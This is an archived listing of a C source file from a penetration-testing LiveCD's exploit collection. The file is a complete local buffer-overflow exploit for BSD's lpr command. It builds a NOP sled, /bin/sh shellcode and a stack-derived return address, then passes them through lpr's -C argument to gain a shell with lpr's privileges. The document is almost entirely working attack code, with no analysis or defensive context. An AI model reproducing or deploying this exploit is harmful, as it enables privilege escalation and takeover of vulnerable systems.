home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / local / ppr.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  45 lines

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4.  
  5. #define DEFAULT_OFFSET          50
  6. #define BUFFER_SIZE             1023
  7.  
  8. long get_esp(void)
  9. {
  10.   __asm__("movl %esp,%eax\n");
  11. }
  12.  
  13. void main()
  14. {
  15.   char *buff = NULL;
  16.   unsigned long *addr_ptr = NULL;
  17.   char *ptr = NULL;
  18.  
  19.   char execshell[] =
  20.     "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
  21.     "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
  22.     "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
  23.     "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
  24.  
  25.   int i;
  26.  
  27.   buff = malloc(4096);
  28.   if(!buff)
  29.     {
  30.       printf("can't allocate memory\n");
  31.       exit(0);
  32.     }
  33.   ptr = buff;
  34.   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  35.   ptr += BUFFER_SIZE-strlen(execshell);
  36.   for(i=0;i < strlen(execshell);i++)
  37.     *(ptr++) = execshell[i];
  38.   addr_ptr = (long *)ptr;
  39.   for(i=0;i<2;i++)
  40.     *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
  41.   ptr = (char *)addr_ptr;
  42.   *ptr = 0;
  43.   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
  44. }
  45. /*                    www.hack.co.za              [2000]*/